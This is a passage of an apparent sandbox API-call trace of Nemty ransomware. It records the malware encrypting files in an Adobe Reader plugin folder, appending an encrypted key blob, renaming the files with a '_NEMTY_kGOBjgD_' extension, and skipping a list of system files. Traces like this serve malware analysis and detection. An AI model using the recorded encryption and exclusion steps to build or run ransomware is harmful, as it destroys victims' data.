(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CZE", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CZE", lpUsedDefaultChar=0x0) returned 13 [0191.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CZE", cchWideChar=13, lpMultiByteStr=0x653e550, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CZE", lpUsedDefaultChar=0x0) returned 13 [0191.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CZE", cchWideChar=13, lpMultiByteStr=0x653e5a0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CZE", lpUsedDefaultChar=0x0) returned 13 [0191.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CZE", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0191.806] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QuickTime.CZE", cchWideChar=13, lpMultiByteStr=0x653e5d8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QuickTime.CZE", lpUsedDefaultChar=0x0) returned 13 [0191.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0191.806] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63402f8 | out: hHeap=0x4f90000) returned 1 [0191.806] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0191.806] Sleep (dwMilliseconds=0x5) [0191.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25fa4fb0, dwHighDateTime=0x1d561e8)) [0191.815] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25fa4fb0, dwHighDateTime=0x1d561e8)) [0191.815] GetLastError () returned 0x0 [0191.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.815] GetLastError () returned 0x0 [0191.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.815] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.815] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.816] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.816] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.816] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0191.816] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e29c | out: pszString="3X8l6EuiuH7UBfRh+4WwDJ5KC4SO5jJdOJsL6PDDSwZQwxKYDcT8bSxiYQ8e1afk\r\nJgUChsIC/yzMOwKc6YlcIEBs5QucCHKDKXbIzRkvIEhC0it55oY3HscvWPsk4vVX\r\nU4U4NPeZ8+8qsybkXcCrqLWxUsR6A9lVgxpSorrstCDR0qCMXr1iOBRQrtWC+Vqw\r\nPjU0jUDYIUJfTyeEIjilxWsTtFznb4e3veEqPGRj+Mqn8DPzkJCclLaU4zFNrweF\r\neTlH2sn71H/PxBEzmndm8sgv0ZKJ9UPED1mbke7y102ZByVCl7uV6OuWXciCLVLl\r\nuUmpC/fMGUZNIIFEW0qXUQ==\r\n", pcchString=0x653e29c) returned 1 [0191.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0191.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.816] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0191.816] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.816] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\QuickTime.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\quicktime.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.817] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.817] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.817] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.817] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.819] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.819] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.819] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.819] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.819] CloseHandle (hObject=0x2f0) returned 1 [0191.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0191.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.819] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0191.819] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0191.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0191.819] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.819] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\QuickTime.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\quicktime.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\QuickTime.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\quicktime.cze._nemty_kgobjgd_")) returned 1 [0191.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0191.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0191.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.820] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0191.820] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d853f20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x15, dwReserved1=0x4f90000, cFileName="WindowsMedia.CZE", cAlternateFileName="WINDOW~1.CZE")) returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2=".") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="..") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="...") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="windows") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="$RECYCLE.BIN") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="rsa") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="NTDETECT.COM") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="ntldr") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="MSDOS.SYS") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="IO.SYS") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="boot.ini") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="boot.ini") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0191.820] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="ntuser.dat") returned 1 [0191.821] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="desktop.ini") returned 1 [0191.821] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="CONFIG.SYS") returned 1 [0191.821] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="RECYCLER") returned 1 [0191.821] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="BOOTSECT.BAK") returned 1 [0191.821] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="bootmgr") returned 1 [0191.821] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="programdata") returned 1 [0191.821] lstrcmpiW (lpString1="WindowsMedia.CZE", lpString2="appdata") returned 1 [0191.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CZE", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CZE", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CZE", lpUsedDefaultChar=0x0) returned 16 [0191.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0191.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CZE", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CZE", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CZE", lpUsedDefaultChar=0x0) returned 16 [0191.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0191.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0191.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CZE", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0191.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CZE", cchWideChar=16, lpMultiByteStr=0x4f9ecb8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CZE", lpUsedDefaultChar=0x0) returned 16 [0191.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0191.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CZE", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0191.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0191.821] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="WindowsMedia.CZE", cchWideChar=16, lpMultiByteStr=0x4f9ed58, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="WindowsMedia.CZE", lpUsedDefaultChar=0x0) returned 16 [0191.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0191.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340260 [0191.821] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.821] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340198 [0191.821] Sleep (dwMilliseconds=0x5) [0191.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25fcb110, dwHighDateTime=0x1d561e8)) [0191.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x25fcb110, dwHighDateTime=0x1d561e8)) [0191.831] GetLastError () returned 0x0 [0191.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0191.831] GetLastError () returned 0x0 [0191.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0191.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0191.831] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.831] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0191.831] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0191.832] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0191.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0191.832] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e29c | out: pszString="0sB23LS9V1fHBRVlW267Feszdf1czkJP8CdAz9vYTy2pNSS7U4ZRprH66oXYCr5T\r\nPmCpo2uETcriwcrDpV4RYf1zeAAnbfq/fHqtd4i/SNIM/bKFYhVlFgsvMRLMFEJv\r\n7lEp9Dw1oGyGB9orbuGB+Awqs3ngaMcSZoQmnf1qv23X3rDywf4EsNdRBV5BjMg5\r\ndRNP+foHUuBdlzLCKT2I9odHbM8ByaN9SE2ZkG0DgIsoPFRkA+kUpFW61AmkxxfK\r\nuzx2mQioTgv5sd2n8mSGWPGa8b/ID22xc3AK9Rwqgh+M4h08+ZlyRcFHzlf1jCe/\r\nbzzTgawFM7tRZOHt18QNyw==\r\n", pcchString=0x653e29c) returned 1 [0191.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0191.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0191.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0191.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0191.832] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\WindowsMedia.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\windowsmedia.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0191.832] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=2560) returned 1 [0191.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa00) returned 0x634ad48 [0191.832] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.832] ReadFile (in: hFile=0x2f0, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xa00, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e4e4*=0xa00, lpOverlapped=0x0) returned 1 [0191.834] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0191.834] WriteFile (in: hFile=0x2f0, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e4dc*=0xa00, lpOverlapped=0x0) returned 1 [0191.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0191.834] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=2560, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa00 [0191.834] WriteFile (in: hFile=0x2f0, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6348ed8*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0191.834] CloseHandle (hObject=0x2f0) returned 1 [0191.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340328 [0191.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0191.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0191.834] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0191.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0191.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0191.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63403f0 [0191.835] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x63404b8 [0191.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403f0 | out: hHeap=0x4f90000) returned 1 [0191.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0191.835] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\WindowsMedia.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\windowsmedia.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Multimedia\\MPP_CZE\\WindowsMedia.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\multimedia\\mpp_cze\\windowsmedia.cze._nemty_kgobjgd_")) returned 1 [0191.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404b8 | out: hHeap=0x4f90000) returned 1 [0191.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0191.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0191.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0191.835] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0191.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0191.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0191.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0191.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0191.836] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: 